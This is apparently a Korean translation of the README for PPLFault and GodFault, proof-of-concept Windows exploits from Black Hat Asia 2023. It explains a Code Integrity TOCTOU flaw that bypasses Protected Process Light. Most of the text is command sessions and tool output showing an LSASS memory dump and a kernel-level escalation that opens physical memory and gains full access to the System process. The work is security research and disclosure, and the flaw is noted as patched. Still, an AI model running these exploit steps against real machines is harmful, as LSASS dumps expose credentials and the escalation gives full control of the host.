
Windows 권한 상승 익스플로잇: Code Integrity의 TOCTOU를 악용해 Protected Process Light를 우회하고, WinTcb-Light로 실행되어 보호된 프로세스(예: LSASS)를 덤프합니다.
작성자: Gabriel Landau, Elastic Security 소속.
Black Hat Asia 2023에서 발표된 PPLdump Is Dead. Long Live PPLdump!에서 가져왔습니다.
PPLdump Is Dead. Long Live PPLdump!
2024-02 업데이트: Microsoft가 2024-02-13에 PPLFault를 패치했습니다. 관련 논의는 이 스레드를 참조하세요.
Windows Code Integrity의 TOCTOU를 악용하여 WinTcb-Light 권한으로 임의 코드 실행을 달성한 후 지정된 프로세스를 덤프합니다. 익스플로잇에 대한 자세한 내용은 제 슬라이드 및/또는 발표 영상을 참조하세요.
PS C:\Users\user\Desktop> cmd /c ver
Microsoft Windows [Version 10.0.25346.1001]
PS C:\Users\user\Desktop> tasklist | findstr lsass
lsass.exe 992 Services 0 76,620 K
PS C:\Users\user\Desktop> (Get-NtProcess -Access QueryLimitedInformation -Pid 992).Protection
Type Signer
---- ------
ProtectedLight Lsa
PS C:\Users\user\Desktop> dir *.dmp
PS C:\Users\user\Desktop> .\PPLFault.exe -v 992 lsass.dmp
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 528 bytes of shellcode written over DLL entrypoint
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\PPLFaultTemp\PPLFaultPayload.dll
[+] Placeholder: C:\PPLFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Dump saved to: lsass.dmp
[+] Dump is 74.9 MB
[+] Operation took 937 ms
PS C:\Users\user\Desktop> dir *.dmp
Directory: C:\Users\user\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/1/2023 11:18 AM 78581973 lsass.dmp
PPLFault와 동일한 TOCTOU를 악용합니다. 그러나 프로세스를 덤프하는 대신 CSRSS로 마이그레이션하여 ANGRYORCHARD의 win32k!NtUserHardErrorControlCall 취약점을 사용해 KTHREAD.PreviousMode를 UserMode(1)에서 KernelMode(0)로 감소시킵니다. 일반적으로 UserMode에서 접근할 수 없는 \Device\PhysicalMemory를 SECTION_ALL_ACCESS로 열어 "God Mode" 접근을 증명합니다.
C:\Users\user\Desktop>GodFault.exe -v
[?] Server does not appear to be running. Attempting to install it...
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 2304 bytes of shellcode written over DLL entrypoint
[+] CSRSS PID is 772
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\GodFaultTemp\GodFaultPayload.dll
[+] Placeholder: C:\GodFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Thread 6248 (KTHREAD FFFFA283B0A62080) has been blessed
[+] Testing post-exploit ability to acquire PROCESS_ALL_ACCESS to System: Success
[+] Opened \Device\PhysicalMemory. Handle is 0x1b4
[+] Opened System process as PROCESS_ALL_ACCESS. Handle is 0x1c0
[+] Press any key to continue...
[+] No cleanup necessary. Backup does not exist.
CloudFilter API 없이 WinTcb-Light 권한으로 임의 코드 실행을 달성하는 PoC입니다. python/README.md를 참조하세요.
| Windows 11 22H2 22621.1702 (2023년 5월) | Windows 11 Insider Canary 25346.1001 (2023년 4월) | |
|---|---|---|
| PPLFault | ✔️ | ✔️ |
| GodFault | ✔️ | ❌ Insider PreviousMode 완화로 버그체크 발생 |
PPLFault는 ELv2 라이선스가 적용됩니다. SystemInformer의 phnt를 MIT 라이선스 하에 사용합니다.
Clément Labro의 PPLdump에서 영감을 받았으며, Microsoft는 2022년 7월에 이를 패치했습니다.
ANGRYORCHARD는 Microsoft가 PPLdump를 패치했을 때 이를 공개한 Austin Hudson이 만들었습니다.